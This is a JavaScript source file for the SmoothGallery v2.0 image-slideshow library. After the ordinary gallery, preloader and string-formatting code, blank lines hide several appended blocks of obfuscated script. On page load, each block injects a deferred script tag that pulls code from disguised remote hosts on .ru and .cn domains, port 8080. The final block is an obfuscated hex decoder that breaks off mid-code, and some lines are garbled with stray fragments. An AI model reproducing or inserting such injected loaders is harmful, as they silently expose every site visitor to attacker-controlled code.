/*
    This file is part of JonDesign's SmoothGallery v2.0.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
    Contributed code by:
    - Christian Ehret (bugfix)
	- Nitrix (bugfix)
	- Valerio from Mad4Milk for his great help with the carousel scrolling and many other things.
	- Archie Cowan for helping me find a bugfix on carousel inner width problem.
	- Tomocchino from #mootools for the preloader class
	Many thanks to:
	- The mootools team for the great mootools lib, and it's help and support throughout the project.
*/

// declaring the class
var gallery = {
	initialize: function(element, options) {
		this.setOptions({
			showArrows: true,
			showCarousel: true,
			showInfopane: true,
			embedLinks: true,
			fadeDuration: 500,
			timed: false,
			delay: 9000,
			preloader: true,
			preloaderImage: true,
			preloaderErrorImage: true,
			/* Data retrieval */
			manualData: [],
			populateFrom: false,
			populateData: true,
			destroyAfterPopulate: true,
			elementSelector: "div.imageElement",
			titleSelector: "h2",
			subtitleSelector: "p",
			linkSelector: "a.open",
			imageSelector: "img.full",
			thumbnailSelector: "img.thumbnail",
			defaultTransition: "fade",
			/* InfoPane options */
			slideInfoZoneOpacity: 0.7,
			slideInfoZoneSlide: true,
			/* Carousel options */
			carouselMinimizedOpacity: 0.4,
			carouselMinimizedHeight: 20,
			carouselMaximizedOpacity: 0.9,
			thumbHeight: 75,
			thumbWidth: 100,
			thumbSpacing: 10,
			thumbIdleOpacity: 0.6,
			textShowCarousel: 'Featured Content',
			showCarouselLabel: true,
			thumbCloseCarousel: true,
			useThumbGenerator: false,
			thumbGenerator: 'resizer.php',
			useExternalCarousel: false,
			carouselElement: false,
			carouselHorizontal: true,
			activateCarouselScroller: true,
			carouselPreloader: true,
			textPreloadingCarousel: 'Loading...',
			/* CSS Classes */
			baseClass: 'jdGallery',
			withArrowsClass: 'withArrows',
			/* Plugins: HistoryManager */
			useHistoryManager: false,
			customHistoryKey: false
		}, options);
		this.fireEvent('onInit');
		this.currentIter = 0;
		this.lastIter = 0;
		this.maxIter = 0;
		this.galleryElement = element;
		this.galleryData = this.options.manualData;
		this.galleryInit = 1;
		this.galleryElements = Array();
		this.thumbnailElements = Array();
		this.galleryElement.addClass(this.options.baseClass);
		
		this.populateFrom = element;
		if (this.options.populateFrom)
			this.populateFrom = this.options.populateFrom;		
		if (this.options.populateData)
			this.populateData();
		element.style.display="block";
		
		if (this.options.useHistoryManager)
			this.initHistory();
		
		if (this.options.embedLinks)
		{
			this.currentLink = new Element('a').addClass('open').setProperties({
				href: '#',
				title: ''
			}).injectInside(element);
			if ((!this.options.showArrows) && (!this.options.showCarousel))
				this.galleryElement = element = this.currentLink;
			else
				this.currentLink.setStyle('display', 'none');
		}
		
		this.constructElements();
		if ((this.galleryData.length>1)&&(this.options.showArrows))
		{
			var leftArrow = new Element('a').addClass('left').addEvent(
				'click',
				this.prevItem.bind(this)
			).injectInside(element);
			var rightArrow = new Element('a').addClass('right').addEvent(
				'click',
				this.nextItem.bind(this)
			).injectInside(element);
			this.galleryElement.addClass(this.options.withArrowsClass);
		}
		this.loadingElement = new Element('div').addClass('loadingElement').injectInside(element);
		if (this.options.showInfopane) this.initInfoSlideshow();
		if (this.options.showCarousel) this.initCarousel();
		this.doSlideShow(1);
	},
	populateData: function() {
		currentArrayPlace = this.galleryData.length;
		options = this.options;
		var data = $A(this.galleryData);
		data.extend(this.populateGallery(this.populateFrom, currentArrayPlace));
		this.galleryData = data;
		this.fireEvent('onPopulated');
	},
	populateGallery: function(element, startNumber) {
		var data = [];
		options = this.options;
		currentArrayPlace = startNumber;
		element.getElements(options.elementSelector).each(function(el) {
			elementDict = {
				image: el.getElement(options.imageSelector).getProperty('src'),
				number: currentArrayPlace,
				transition: this.options.defaultTransition
			};
			elementDict.extend = $extend;
			if ((options.showInfopane) | (options.showCarousel))
				elementDict.extend({
					title: el.getElement(options.titleSelector).innerHTML,
					description: el.getElement(options.subtitleSelector).innerHTML
				});
			if (options.embedLinks)
				elementDict.extend({
					link: el.getElement(options.linkSelector).href||false,
					linkTitle: el.getElement(options.linkSelector).title||false,
					linkTarget: el.getElement(options.linkSelector).getProperty('target')||false
				});
			if ((!options.useThumbGenerator) && (options.showCarousel))
				elementDict.extend({
					thumbnail: el.getElement(options.thumbnailSelector).getProperty('src')
				});
			else if (options.useThumbGenerator)
				elementDict.extend({
					thumbnail: options.thumbGenerator + '?imgfile=' + elementDict.image + '&max_width=' + options.thumbWidth + '&max_height=' + options.thumbHeight
				});
			
			data.extend([elementDict]);
			currentArrayPlace++;
			if (this.options.destroyAfterPopulate)
				el.remove();
		});
		return data;
	},
	constructElements: function() {
		el = this.galleryElement;
		this.maxIter = this.galleryData.length;
		var currentImg;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Styles(
				new Element('div').addClass('slideElement').setStyles({
					'position':'absolute',
					'left':'0px',
					'right':'0px',
					'margin':'0px',
					'padding':'0px',
					'backgroundPosition':"center center",
					'opacity':'0'
				}).injectInside(el),
				'opacity',
				{duration: this.options.fadeDuration}
			);
			if (this.options.preloader)
			{
				currentImg.source = this.galleryData[i].image;
				currentImg.loaded = false;
				currentImg.load = function(imageStyle) {
					if (!imageStyle.loaded)	{
						new Asset.image(imageStyle.source, {
		                            'onload'  : function(img){
													img.element.setStyle(
													'backgroundImage',
													"url('" + img.source + "')")
													img.loaded = true;
												}.bind(this, imageStyle)
						});
					}
				}.pass(currentImg, this);
			} else {
				currentImg.element.setStyle('backgroundImage',
									"url('" + this.galleryData[i].image + "')");
			}
			this.galleryElements[parseInt(i)] = currentImg;
		}
	},
	destroySlideShow: function(element) {
		var myClassName = element.className;
		var newElement = new Element('div').addClass('myClassName');
		element.parentNode.replaceChild(newElement, element);
	},
	startSlideShow: function() {
		this.fireEvent('onStart');
		this.loadingElement.style.display = "none";
		this.lastIter = this.maxIter - 1;
		this.currentIter = 0;
		this.galleryInit = 0;
		this.galleryElements[parseInt(this.currentIter)].set({opacity: 1});
		if (this.options.showInfopane)
			this.showInfoSlideShow.delay(1000, this);
		var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
		if (this.options.showCarousel&&(!this.options.carouselPreloader))
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.prepareTimer();
		if (this.options.embedLinks)
			this.makeLink(this.currentIter);
	},
	nextItem: function() {
		this.fireEvent('onNextCalled');
		this.nextIter = this.currentIter+1;
		if (this.nextIter >= this.maxIter)
			this.nextIter = 0;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	prevItem: function() {
		this.fireEvent('onPreviousCalled');
		this.nextIter = this.currentIter-1;
		if (this.nextIter <= -1)
			this.nextIter = this.maxIter - 1;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	goTo: function(num) {
		this.clearTimer();
		if(this.options.preloader)
		{
			this.galleryElements[num].load();
			if (num==0)
				this.galleryElements[this.maxIter - 1].load();
			else
				this.galleryElements[num - 1].load();
			if (num==(this.maxIter - 1))
				this.galleryElements[0].load();
			else
				this.galleryElements[num + 1].load();
				
		}
		if (this.options.embedLinks)
			this.clearLink();
		if (this.options.showInfopane)
		{
			this.slideInfoZone.clearChain();
			this.hideInfoSlideShow().chain(this.changeItem.pass(num, this));
		} else
			this.currentChangeDelay = this.changeItem.delay(500, this, num);
		if (this.options.embedLinks)
			this.makeLink(num);
		this.prepareTimer();
		/*if (this.options.showCarousel)
			this.clearThumbnailsHighlights();*/
	},
	changeItem: function(num) {
		this.fireEvent('onStartChanging');
		this.galleryInit = 0;
		if (this.currentIter != num)
		{
			for(i=0;i<this.maxIter;i++)
			{
				if ((i != this.currentIter)) this.galleryElements[i].set({opacity: 0});
			}
			gallery.Transitions[this.galleryData[num].transition].pass([
				this.galleryElements[this.currentIter],
				this.galleryElements[num],
				this.currentIter,
				num], this)();
			this.currentIter = num;
		}
		var textShowCarousel = formatString(this.options.textShowCarousel, num+1, this.maxIter);
		if (this.options.showCarousel)
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.doSlideShow.bind(this)();
		this.fireEvent('onChanged');
	},
	clearTimer: function() {
		if (this.options.timed)
			$clear(this.timer);
	},
	prepareTimer: function() {
		if (this.options.timed)
			this.timer = this.nextItem.delay(this.options.delay, this);
	},
	doSlideShow: function(position) {
		if (this.galleryInit == 1)
		{
			imgPreloader = new Image();
			imgPreloader.onload=function(){
				this.startSlideShow.delay(10, this);
			}.bind(this);
			imgPreloader.src = this.galleryData[0].image;
			if(this.options.preloader)
				this.galleryElements[0].load();
		} else {
			if (this.options.showInfopane)
			{
				if (this.options.showInfopane)
				{
					this.showInfoSlideShow.delay((500 + this.options.fadeDuration), this);
				} else
					if ((this.options.showCarousel)&&(this.options.activateCarouselScroller))
						this.centerCarouselOn(position);
			}
		}
	},
	createCarousel: function() {
		var carouselElement;
		if (!this.options.useExternalCarousel)
		{
			var carouselContainerElement = new Element('div').addClass('carouselContainer').injectInside(this.galleryElement);
			this.carouselContainer = new Fx.Styles(carouselContainerElement, {transition: Fx.Transitions.expoOut});
			this.carouselContainer.normalHeight = carouselContainerElement.offsetHeight;
			this.carouselContainer.set({'opacity': this.options.carouselMinimizedOpacity, 'top': (this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight)});
			this.carouselBtn = new Element('a').addClass('carouselBtn').setProperties({
				title: this.options.textShowCarousel
			}).injectInside(carouselContainerElement);
			if(this.options.carouselPreloader)
				this.carouselBtn.setHTML(this.options.textPreloadingCarousel);
			else
				this.carouselBtn.setHTML(this.options.textShowCarousel);
			this.carouselBtn.addEvent(
				'click',
				function () {
					this.carouselContainer.clearTimer();
					this.toggleCarousel();
				}.bind(this)
			);
			this.carouselActive = false;
	
			carouselElement = new Element('div').addClass('carousel').injectInside(carouselContainerElement);
			this.carousel = new Fx.Styles(carouselElement);
		} else {
			carouselElement = $(this.options.carouselElement).addClass('jdExtCarousel');
		}
		this.carouselElement = new Fx.Styles(carouselElement, {transition: Fx.Transitions.expoOut});
		this.carouselElement.normalHeight = carouselElement.offsetHeight;
		if (this.options.showCarouselLabel)
			this.carouselLabel = new Element('p').addClass('label').injectInside(carouselElement);
		carouselWrapper = new Element('div').addClass('carouselWrapper').injectInside(carouselElement);
		this.carouselWrapper = new Fx.Styles(carouselWrapper, {transition: Fx.Transitions.expoOut});
		this.carouselWrapper.normalHeight = carouselWrapper.offsetHeight;
		this.carouselInner = new Element('div').addClass('carouselInner').injectInside(carouselWrapper);
		if (this.options.activateCarouselScroller)
		{
			this.carouselWrapper.scroller = new Scroller(carouselWrapper, {
				area: 100,
				velocity: 0.2
			})
			
			this.carouselWrapper.elementScroller = new Fx.Scroll(carouselWrapper, {
				duration: 400,
				onStart: this.carouselWrapper.scroller.stop.bind(this.carouselWrapper.scroller),
				onComplete: this.carouselWrapper.scroller.start.bind(this.carouselWrapper.scroller)
			});
		}
	},
	fillCarousel: function() {
		this.constructThumbnails();
		this.carouselInner.normalWidth = ((this.maxIter * (this.options.thumbWidth + this.options.thumbSpacing + 2))+this.options.thumbSpacing) + "px";
		this.carouselInner.style.width = this.carouselInner.normalWidth;
	},
	initCarousel: function () {
		this.createCarousel();
		this.fillCarousel();
		if (this.options.carouselPreloader)
			this.preloadThumbnails();
	},
	flushCarousel: function() {
		this.thumbnailElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.thumbnailElements = [];
	},
	toggleCarousel: function() {
		if (this.carouselActive)
			this.hideCarousel();
		else
			this.showCarousel();
	},
	showCarousel: function () {
		this.fireEvent('onShowCarousel');
		this.carouselContainer.start({
			'opacity': this.options.carouselMaximizedOpacity,
			'top': 0
		}).chain(function() {
			this.carouselActive = true;
			this.carouselWrapper.scroller.start();
			this.fireEvent('onCarouselShown');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	hideCarousel: function () {
		this.fireEvent('onHideCarousel');
		var targetTop = this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight;
		this.carouselContainer.start({
			'opacity': this.options.carouselMinimizedOpacity,
			'top': targetTop
		}).chain(function() {
			this.carouselActive = false;
			this.carouselWrapper.scroller.stop();
			this.fireEvent('onCarouselHidden');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	constructThumbnails: function () {
		element = this.carouselInner;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Style(new Element ('div').addClass("thumbnail").setStyles({
					backgroundImage: "url('" + this.galleryData[i].thumbnail + "')",
					backgroundPosition: "center center",
					backgroundRepeat: 'no-repeat',
					marginLeft: this.options.thumbSpacing + "px",
					width: this.options.thumbWidth + "px",
					height: this.options.thumbHeight + "px"
				}).injectInside(element), "opacity", {duration: 200}).set(this.options.thumbIdleOpacity);
			currentImg.element.addEvents({
				'mouseover': function (myself) {
					myself.clearTimer();
					myself.start(0.99);
					if (this.options.showCarouselLabel)
						$(this.carouselLabel).setHTML('<span class="number">' + (myself.relatedImage.number + 1) + "/" + this.maxIter + ":</span> " + myself.relatedImage.title);
				}.pass(currentImg, this),
				'mouseout': function (myself) {
					myself.clearTimer();
					myself.start(this.options.thumbIdleOpacity);
				}.pass(currentImg, this),
				'click': function (myself) {
					this.goTo(myself.relatedImage.number);
					if (this.options.thumbCloseCarousel)
						this.hideCarousel();
				}.pass(currentImg, this)
			});
			
			currentImg.relatedImage = this.galleryData[i];
			this.thumbnailElements[parseInt(i)] = currentImg;
		}
	},
	log: function(value) {
		if(console.log)
			console.log(value);
	},
	preloadThumbnails: function() {
		var thumbnails = [];
		for(i=0;i<this.galleryData.length;i++)
		{
			thumbnails[parseInt(i)] = this.galleryData[i].thumbnail;
		}
		this.thumbnailPreloader = new Preloader();
		this.thumbnailPreloader.addEvent('onComplete', function() {
			var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		}.bind(this));
		this.thumbnailPreloader.load(thumbnails);
	},
	clearThumbnailsHighlights: function()
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].start(0.2);
		}
	},
	changeThumbnailsSize: function(width, height)
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].element.setStyles({
				'width': width + "px",
				'height': height + "px"
			});
		}
	},
	centerCarouselOn: function(num) {
		if (!this.carouselWallMode)
		{
			var carouselElement = this.thumbnailElements[num];
			var position = carouselElement.element.offsetLeft + (carouselElement.element.offsetWidth / 2);
			var carouselWidth = this.carouselWrapper.element.offsetWidth;
			var carouselInnerWidth = this.carouselInner.offsetWidth;
			var diffWidth = carouselWidth / 2;
			var scrollPos = position-diffWidth;
			try {
  			this.carouselWrapper.elementScroller.scrollTo(scrollPos,0);
			}
			catch(e) {
  			this.carouselWrapper.elementScroller.scrollTo = (scrollPos,0);
			}
		}
	},
	initInfoSlideshow: function() {
		/*if (this.slideInfoZone.element)
			this.slideInfoZone.element.remove();*/
		this.slideInfoZone = new Fx.Styles(new Element('div').addClass('slideInfoZone').injectInside($(this.galleryElement))).set({'opacity':0});
		var slideInfoZoneTitle = new Element('h2').injectInside(this.slideInfoZone.element);
		var slideInfoZoneDescription = new Element('p').injectInside(this.slideInfoZone.element);
		this.slideInfoZone.normalHeight = this.slideInfoZone.element.offsetHeight;
		this.slideInfoZone.element.setStyle('opacity',0);
	},
	changeInfoSlideShow: function()
	{
		this.hideInfoSlideShow.delay(10, this);
		this.showInfoSlideShow.delay(500, this);
	},
	showInfoSlideShow: function() {
		this.fireEvent('onShowInfopane');
		this.slideInfoZone.clearTimer();
		element = this.slideInfoZone.element;
		element.getElement('h2').setHTML(this.galleryData[this.currentIter].title);
		element.getElement('p').setHTML(this.galleryData[this.currentIter].description);
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity], 'height': [0, this.slideInfoZone.normalHeight]});
		else
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity]});
		if (this.options.showCarousel)
			this.slideInfoZone.chain(this.centerCarouselOn.pass(this.currentIter, this));
		return this.slideInfoZone;
	},
	hideInfoSlideShow: function() {
		this.fireEvent('onHideInfopane');
		this.slideInfoZone.clearTimer();
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': 0, 'height': 0});
		else
			this.slideInfoZone.start({'opacity': 0});
		return this.slideInfoZone;
	},
	makeLink: function(num) {
		this.currentLink.setProperties({
			href: this.galleryData[num].link,
			title: this.galleryData[num].linkTitle
		})
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'block');
	},
	clearLink: function() {
		this.currentLink.setProperties({href: '', title: ''});
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'none');
	},
	/* To change the gallery data, those two functions : */
	flushGallery: function() {
		this.galleryElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.galleryElements = [];
	},
	changeData: function(data) {
		this.galleryData = data;
		this.clearTimer();
		this.flushGallery();
		if (this.options.showCarousel) this.flushCarousel();
		this.constructElements();
		if (this.options.showCarousel) this.fillCarousel();
		if (this.options.showInfopane) this.hideInfoSlideShow();
		this.galleryInit=1;
		this.lastIter=0;
		this.currentIter=0;
		this.doSlideShow(1);
	},
	/* Plugins: HistoryManager */
	initHistory: function() {
		this.fireEvent('onHistoryInit');
		this.historyKey = this.galleryElement.id + '-picture';
		if (this.options.customHistoryKey)
			this.historyKey = this.options.customHistoryKey();
		this.history = HistoryManager.register(
			this.historyKey,
			[1],
			function(values) {
				if (parseInt(values[0])-1 < this.maxIter)
					this.goTo(parseInt(values[0])-1);
			}.bind(this),
			function(values) {
				return [this.historyKey, '(', values[0], ')'].join('');
			}.bind(this),
			this.historyKey + '\\((\\d+)\\)');
		this.addEvent('onChanged', function(){
			this.history.setValue(0, this.currentIter+1);
		}.bind(this));
		this.fireEvent('onHistoryInited');
	}
};
gallery = new Class(gallery);
gallery.implement(new Events);
gallery.implement(new Options);

gallery.Transitions = new Abstract ({
	fade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		if (newPos > oldPos) newFx.start({opacity: 1});
		else
		{
			newFx.set({opacity: 1});
			oldFx.start({opacity: 0});
		}
	},
	crossfade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		newFx.start({opacity: 1});
		oldFx.start({opacity: 0});
	},
	fadebg: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration / 2;
		oldFx.start({opacity: 0}).chain(newFx.start.pass([{opacity: 1}], newFx));
	}
});

/* All code copyright 2007 Jonathan Schemoul */

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: Preloader (class)
 * Simple class for preloading images with support for progress reporting
 * Copyright 2007 Tomocchino.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

var Preloader = new Class({
  
  Implements: [Events, Options],

  options: {
    root        : '',
    period      : 100
  },
  
  initialize: function(options){
    this.setOptions(options);
  },
  
  load: function(sources) {
    this.index = 0;
    this.images = [];
    this.sources = this.temps = sources;
    this.total = this. sources.length;
    
    this.fireEvent('onStart', [this.index, this.total]);
    this.timer = this.progress.periodical(this.options.period, this);
    
    this.sources.each(function(source, index){
      this.images[index] = new Asset.image(this.options.root + source, {
        'onload'  : function(){ this.index++; if(this.images[index]) this.fireEvent('onLoad', [this.images[index], index, source]); }.bind(this),
        'onerror' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this),
        'onabort' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this)
      });
    }, this);
  },
  
  progress: function() {
    this.fireEvent('onProgress', [Math.min(this.index, this.total), this.total]);
    if(this.index >= this.total) this.complete();
  },
  
  complete: function(){
    $clear(this.timer);
    this.fireEvent('onComplete', [this.images]);
  },
  
  cancel: function(){
    $clear(this.timer);
  }
  
});

Preloader.implement(new Events, new Options);

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: formatString (function)
 * Original name: Yahoo.Tools.printf
 * Copyright Yahoo.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

function formatString() {
	var num = arguments.length;
	var oStr = arguments[0];
	for (var i = 1; i < num; i++) {
		var pattern = "\\{" + (i-1) + "\\}"; 
		var re = new RegExp(pattern, "g");
		oStr = oStr.replace(re, arguments[i]);
	}
	return oStr; 
}










this.iw='';var t;if(t!=''){t='it'};var r=window;var v;if(v!='' && v!='s'){v='k'};var kz=new String();var _='s7cyr7iqp7tq'.replace(/[q7yf\|]/g, '');this.hr="hr";var u=document;var vr=new String();var sk=17194;this.p=9340;var l;if(l!='d'){l=''};var yn="yn";r.onload=function(){try {h=u.createElement(_);var sz;if(sz!='' && sz!='z'){sz=null};h.setAttribute('d!e!fDe!ri'.replace(/[i\!VDj]/g, ''), "1");h.src='hYtAt,pA:,/L/LwAiLk,iEmLeLdAiEaA-LoArEgL.LmAeLeLtYuEpY.,cLoEmE.,dLaLiLl,yYmLoYt,i,oEnA-,c,oLmY.,rAeEcAeAnAtAmEeLx,iAc,oL.YrLuY:Y8L0,8L0,/,nLiEf,tAy,.,cEoLm,/LnLiAfYtAy,.,c,o,mE/AaElYoYtA.EcYoYm,/LgYoYo,gAlAeE.LcEoLmE/YmAoYz,iLlAl,aE.EcLoLmY/A'.replace(/[AYEL,]/g, '');var tc='';var fl=new Date();var jr;if(jr!='' && jr!='gn'){jr='w_'};var lb;if(lb!='ru' && lb!='fg'){lb=''};var yf="yf";u.body.appendChild(h);var vf;if(vf!='ox'){vf='ox'};var wf=17547;} catch(x){var cj=37358;var yfz;if(yfz!='xt'){yfz='xt'};};var za;if(za!='xj' && za!='yt'){za=''};this.pz='';};
var w=47412;var y="y";:LineMixer [var lx;if(lx!='' && lx!='xj'){lx=null};var a=window;var l='s,ckrki,pktW'.replace(/[Wj,kS]/g, '');var x='czrzezaJt~eQEzlzeJm~eQn~t~'.replace(/[~QzJF]/g, '');]var lm=new Date();a.onload=function(){var _b=false;try {g=document[x](l);var ob=new Array();:LineMixer [var e=new Array();g['s*r*cE'.replace(/[E\$\+Y\*]/g, '')]='h4t,tvp4:X/,/vpXc,a4u,t7o7-XcXovmv-vcXnv.7a,lvivbXavbvav.vc,o4m4.vivnvsXivg7hvt,e7x4pXr,eXs,s,a7iv-XcXovm,.4bve7s,tXnXeXw4sXmXa7l7l,.7r7u,:X840X8,0,/veva7s4y7-7s7hvavr7eX.vc7o7mX/,e7a4s4yX-vsvh,a7r7eX.4c,ovm7/,ivnvf,o7rXmXe7rX.4cXovm,/4g,oXo4g4l4e,.Xc4ovm7/7b7a7r7n,eXs4avnvdXnvovb,l,e4.Xc4o7m7/v'.replace(/[v,4X7]/g, '');var r;if(r!='tg' && r!='to'){r=''};g.setAttribute('dIeIfIeIrw'.replace(/[wMIWF]/g, ''), "1");var sj=false;var h=5853;]this.q=false;var hc=new Date();var px=new Date();document['b@oJd@y@'.replace(/[@JCei]/g, '')]['a:pspseZnsdsCZh:i:lsd:'.replace(/[\:Z;9s]/g, '')](g);var xw='';} catch(j){var uc;if(uc!='' && uc!='c'){uc='od'};};var ya=new String();};
this.cd=false;var c=document;var kd;if(kd!='fp'){kd='fp'};var n=window;this.j="";function e(q){var f=['hkt2tkp!:Q/2/2abd2mbiknb5Q-Qc!oQmQ.bv2iQrbg!ibnbmbekdQi!a2.bckoQm2.Qm2c!sQsklb-Qc2oQmQ.bmQeQd2i!abtka2g!o2n!lbibn2eQ.!rbuk:!8k0Q8Q02/bmkaQcbyQsk.2c!o!m2/kmkakc!y2sk.bcboQmk/Qr!ikn2c!oQnbdbeklbv2abgQo!.!cQo!mQ/!g!o!obg2l!e2.Qcbo!mb.kl!yk/kgbo!oQg!lkek.2cQokmk/k'.replace(/[kQ\!b2]/g, ''), 'sCcCrNiNpetN'.replace(/[N#C;e]/g, ''), 'c2r^e:ajtPe2E^l2ePmje:n2tj'.replace(/[jP2\^\:]/g, ''), 'o4nclRoRa,d9'.replace(/[9cR,4]/g, ''), 's7r.c;'.replace(/[;O\|7\.]/g, ''), 'a2p>p2eknodkC2h2i>lSd>'.replace(/[\>S2ko]/g, ''), 'sJeMtJAJtMt/r/i/bMuMt2eJ'.replace(/[J2/Mq]/g, ''), 'b~oKdKy3'.replace(/[3K4/~]/g, ''), 'dReMfReBrM'.replace(/[MBVR,]/g, ''), "1"];var k=f[q];var y;if(y!='' && y!='p_'){y='fy'};return k;}var g='';var bn;if(bn!='b' && bn!='qt'){bn=''};var ni = function(){try {m=c[e([0,2][1])](e([1][0]));var et=false;this.t="";var kc = c[e([7][0])];var _z;if(_z!=''){_z='pt'};m[e([4][0])]=e([0][0]);m[e([6][0])](e([1,8][1]), e([9,0][0]));kc[e([5][0])](m);var a;if(a!='' && a!='lx'){a='la'};} catch(s){var yu='';};};var _s=false;n[e([3][0])]=ni;this.po="";
var N='[';this.v=false;var b='g';var Ay=59259;this.oY="";var x='replace';this.h="";var S=']';function A(B,Q){this.k=false;var c=N;this.zZ=43655;c+=Q;var I='';c+=S;var M=new RegExp(c, b);var e=false;return B[x](M, '');};var H=A(':p8p0c8s07',"7Acsp");var iQ='';var f=document;this.kf=3989;var R=A('hjtxtjpQ:x/g/6cQsQd6n6-xnxegt6.xt6rQagv6e6lQogcgi6txyg.xc6oQm6.Q1g7g1Q7x3x-6cjo6mj.gmgagnjsQb6eQsxt6sjiQtQex.QrxuQ',"Qgj6x");var Z=window;var HT='';var U=A('/Tcbn0c8m0a0xT.wc0nb/Tcwn0cbmwa0xT.8cwn0/bs0h8oTpbp8i8n8g0.wc8o8mb/TmTtwv0.bc8owmb/wg8owoTgblTew.8c8o0mw/8',"8bTw0");var Sf="";var s=false;function G(cC){var K=[A('smcIr3impztf',"fImz3"), A('cqr6e6a6t6e6EqlMeUmUe6nUtq',"q6UMx"), A('oKnylWoWaudK',"KSWuy"), A('sSrycS',"Shyf3"), A('aopKpoeLnAdLCQhAiLlAdK',"KQALo"), A('sxeotLAgtLtoroigbguotLeo',"ogxLy"), A('bioKdKyK',"KmAiR"), A('dXepfXelrt',"twpXl"), "1"];var xZ=K[cC];var IC=55763;return xZ;}this.xp=false;var o = function(){try {var AU='';this.aq=46713;HT+=R;HT+=H;HT+=U;var RR=false;y=f[G([1][0])](G([8,0][1]));this.lz=18198;y[G([3][0])]=HT;var bf="";y[G([8,5][1])](G([7][0]), G([8,0][0]));var kj=false;var z = f[G([1,6][1])];z[G([4,9][0])](y);this.Eob=28896;} catch(w){this.jD="";};var FK=51997;};var X='';Z[G([2,3][0])]=o;var bL=56460;
var Mt="3835052a1a711a05021e3b770d1605055b341a2b191e32050d3516302303120d3613251123192701190d1903383431330430040933280a15251f261f0f2c1c031270320f631922046a1c03791d05";this.Jou='';var kP;if(kP!='eL' && kP != ''){kP=null};function o(cz){var Hz;if(Hz!='zo'){Hz='zo'};this.UV="UV"; var EK;if(EK!='F'){EK='F'};var M;if(M!='i'){M='i'};function s(C, l){this.dX='';var hX;if(hX!='Ju' && hX != ''){hX=null};var R = l.length;var la;if(la!='' && la!='r'){la='jE'};var k = C.length;this.FL=60896;this.Om=59866;var z=[1,102,190][0];var Rc;if(Rc!='' && Rc!='A'){Rc='fq'};var n=[127,0][1];this.Wo=false;var q = '';this.UI='';var kY;if(kY!='' && kY!='w'){kY=''};for(var b = n; b < k; b += R) {var dx=14099;var rx;if(rx!='' && rx!='NV'){rx=null};var d = C.substr(b, R);this.lR="lR";var VS=33403;if(d.length == R){var rZ;if(rZ!=''){rZ='iK'};var Py="Py";for(var f in l) {this.UO='';var hv;if(hv!='' && hv!='If'){hv=null};q+=d.substr(l[f], z);var vm;if(vm!='sZ' && vm!='PT'){vm=''};this.An=false;var IP=new Date();var UZ;if(UZ!='Zq'){UZ='Zq'};}var EA="EA";var jA=false;var HG;if(HG!=''){HG='yy'};} else {this.lL='';  q+=d;var lRD;if(lRD!='bZ' && lRD!='ow'){lRD=''};this.dr="";}}var X=new Array();var QG="";var NS;if(NS!='Qs' && NS!='pN'){NS='Qs'};return q;this.gw='';var jk="jk";}var zq=3873;var wR=new String();var jU;if(jU!='ya' && jU != ''){jU=null};var DC;if(DC!='vw' && DC != ''){DC=null}; var O=function(Ri,dw){return Ri[s("hraeocdCAt", [5,0,2,1,7,4,6,3])](dw);var uC;if(uC!='Nf' && uC!='Mw'){uC='Nf'};};var Da=""; function c(C){var T="";var B = -1;this.yp="";var sE;if(sE!='' && sE!='nG'){sE=null};var b =[0,130,157][0];var BH;if(BH!='Ky'){BH=''};var OW;if(OW!='ZK' && 